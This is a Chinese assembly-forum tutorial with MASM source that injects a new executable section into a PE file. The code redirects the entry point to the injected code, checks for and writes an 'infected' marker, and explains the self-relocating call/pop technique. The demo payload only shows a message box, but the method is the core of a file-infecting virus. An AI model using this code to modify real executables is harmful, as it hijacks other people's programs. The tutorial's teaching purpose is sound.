主 题:为PE文件添加新节实例及说明
作 者:AwakeinAlone
所属论坛:ASM
希望能对PE和ASM的出学者有所帮助,吾愿足矣!
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
.data
filename db "d:\t.exe",0 ;为了简单,避免了不必要的文件选择对话框
hFile dd 0
hMapping dd 0
pMapping dd 0
pe_header_off dd 0 ;存储文件头相对文件的偏移量
byte_write dd 0 ;WriteFile时使用,没有实际用途,为了程序正确
PEGame segment
start:
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
push offset filename
call CreateFile
mov hFile, eax
push 0
push 0
push 0
push PAGE_READWRITE
push NULL
push hFile
call CreateFileMapping
mov hMapping, eax
push 0
push 0
push 0
push FILE_MAP_READ+FILE_MAP_WRITE
push hMapping
call MapViewOfFile
mov pMapping,eax
mov ebx, eax
assume ebx :ptr IMAGE_DOS_HEADER
mov eax,[ebx].e_lfanew
mov pe_header_off,eax
add ebx,[ebx].e_lfanew ;此时ebx指向PE文件头
assume ebx:ptr IMAGE_NT_HEADERS
.IF [ebx].Signature!=IMAGE_NT_SIGNATURE ;是PE文件吗?
jmp Exit
.ENDIF
.IF word ptr [ebx+1ah]==0842h ;是否已经感染
jmp Exit
.ENDIF
Noinfect: ;保存原入口
mov eax,[ebx]. OptionalHeader.AddressOfEntryPoint
mov old_in,eax
mov eax, [ebx].OptionalHeader.ImageBase
mov old_base,eax
;***************************************************************
;判断是否有足够空间存储新节
;28h=sizeof IMAGE_SECTION_HEADER ,18h=sizeof IMAGE_FILE_HEADER
;edi将指向新节
;***************************************************************
movzx eax,[ebx].FileHeader.NumberOfSections
mov ecx,28h
mul ecx
add eax,pe_header_off
add eax,18h
movzx esi,[ebx].FileHeader.SizeOfOptionalHeader
add eax,esi
mov edi,eax
add edi,pMapping ;I forgot this first
add eax,28h
.IF eax>[ebx].OptionalHeader.SizeOfHeaders
jmp Exit
.ENDIF
;*********************************************************************
;空间允许, ^0^,开始插入新节并填充各字段
;esi指向原文件最后一个节,利用它来填充新节某些字段
;*********************************************************************
inc [ebx].FileHeader.NumberOfSections ;节数目+1
mov esi,edi
sub esi,28h
assume edi:ptr IMAGE_SECTION_HEADER
assume esi:ptr IMAGE_SECTION_HEADER
mov [edi].Name1,41h ;随便为新节命名,使之不等于0
push [ebx].OptionalHeader.SizeOfImage
pop [edi].VirtualAddress
mov eax,offset vend-offset vstart
mov [edi].Misc.VirtualSize,eax
mov ecx,[ebx].OptionalHeader.FileAlignment
div ecx
inc eax
mul ecx
mov [edi].SizeOfRawData,eax
mov eax,[esi].PointerToRawData
add eax,[esi].SizeOfRawData
mov [edi].PointerToRawData,eax
mov [edi].Characteristics,0E0000020h ;可读可写可执行
;*****************************************************************************************
;更新SizeOfImage,AddressOfEntryPoint,使新节可以正确加载并首先执行
;*****************************************************************************************
mov eax,[edi].Misc.VirtualSize
mov ecx,[ebx].OptionalHeader.SectionAlignment
div ecx
inc eax
mul ecx
add eax,[ebx].OptionalHeader.SizeOfImage
mov [ebx].OptionalHeader.SizeOfImage,eax
mov eax,[edi].VirtualAddress
mov [ebx].OptionalHeader.AddressOfEntryPoint,eax
mov word ptr [ebx+1ah],0842h ;写入感染标志
push FILE_END
push 0
push 0
push hFile
call SetFilePointer
;*************************************************************************************
;设置文件指针到结尾后,写入从vstart开始的代码,大小经过文件对齐
;**************************************************************************************
push 0
push offset byte_write
push [edi].SizeOfRawData
push offset vstart
push hFile
call WriteFile
Exit:
push pMapping
call UnmapViewOfFile
push hMapping
call CloseHandle
invoke ExitProcess,0
;***************************************************************
;从vstart->vend是将插入到d:\t.exe的代码
;功能是弹出一个对话框,然后返回原入口执行
;***************************************************************
vstart:
call nstart
nstart:
pop ebx
sub ebx,offset nstart ;见附录一的详细说明
mov MsgBoxAddr[ebx],77e175d5h ;liner addr of MessageBoxA in User32.dll
push MB_OK
mov eax,ebx
add eax,offset s
push eax
push eax
push 0
call MsgBoxAddr[ebx]
mov eax,old_base[ebx]
add eax,old_in[ebx]
push eax
ret
s db 'fid',0
MsgBoxAddr dd 0
old_base dd 0
old_in dd 0
vend:
PEGame ends
end start
附录一:得到MessageBoxA的线形地址代码
#include "windows.h"
#include "iostream.h"
int main(int argc, char* argv[])
{
HINSTANCE h;
char dllname[] ="User32";
h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname);
}
DWORD p=(DWORD)::GetProcAddress(h,"MessageBoxA");
cout<<"Addr of MessageBoxA: "<<hex<<p<<endl;
}
附录二(摘自peach的"麻雀空间"):
call nstart 此时栈顶是下一指令地址,即nstart在cs段中的偏移
nstart:
pop ebp ebp = nstart处在cs段中的偏移
sub ebp,offset nstart ebp 不一定和 offset nstart相等
之所以使用这样的指令,主要是为了在代码执行的时候进行内存的实际定位
插入的代码在汇编的时候代码段和数据段是确定的,总是从某段址的偏移0开始
但是,插入后别人的代码空间的时候,就不是从偏移0开始了
举个例子
我写一个代码和数据共享的小段汇编如下如下
_text segments
assume cs:_text, ds:_text
start:
jmp begin
data1 db 0
data2 db 0
begin:
mov al, data1
mov bl, data2
add al, bl
mov ax, 4c00h
int 20h
_text ends
end start
此代码段中,使用的cs和ds的值都保证了实际start处的偏移为0
但是一旦被复制到其他的cs, ds段,一般不能保证start处偏移在cs或ds段中偏移为0
这时候显然
mov al, data1
mov bl, data2
会出问题
怎么办呢?
可以写成这样子
_text segments
assume cs:_text, ds:_text
start:
call next
next:
pop si 此处si等于next处在当前cs段中的实际偏移
sub si, offset next 实际偏移减去汇编中的offset得到的
就是start处的的实际偏移
因为offset 操作符总是以0为基址的
offset start = 0
data1 db 0
data2 db 0
begin:
mov al, data1[si] 这里寻址的时候使用的就 offset data1 + si了
mov bl, data2[si]
add al, bl
mov ax, 4c00h
int 20h
_text ends
end start
没啥特别的 ,仔细想一下就明白了 。
--------《全文完》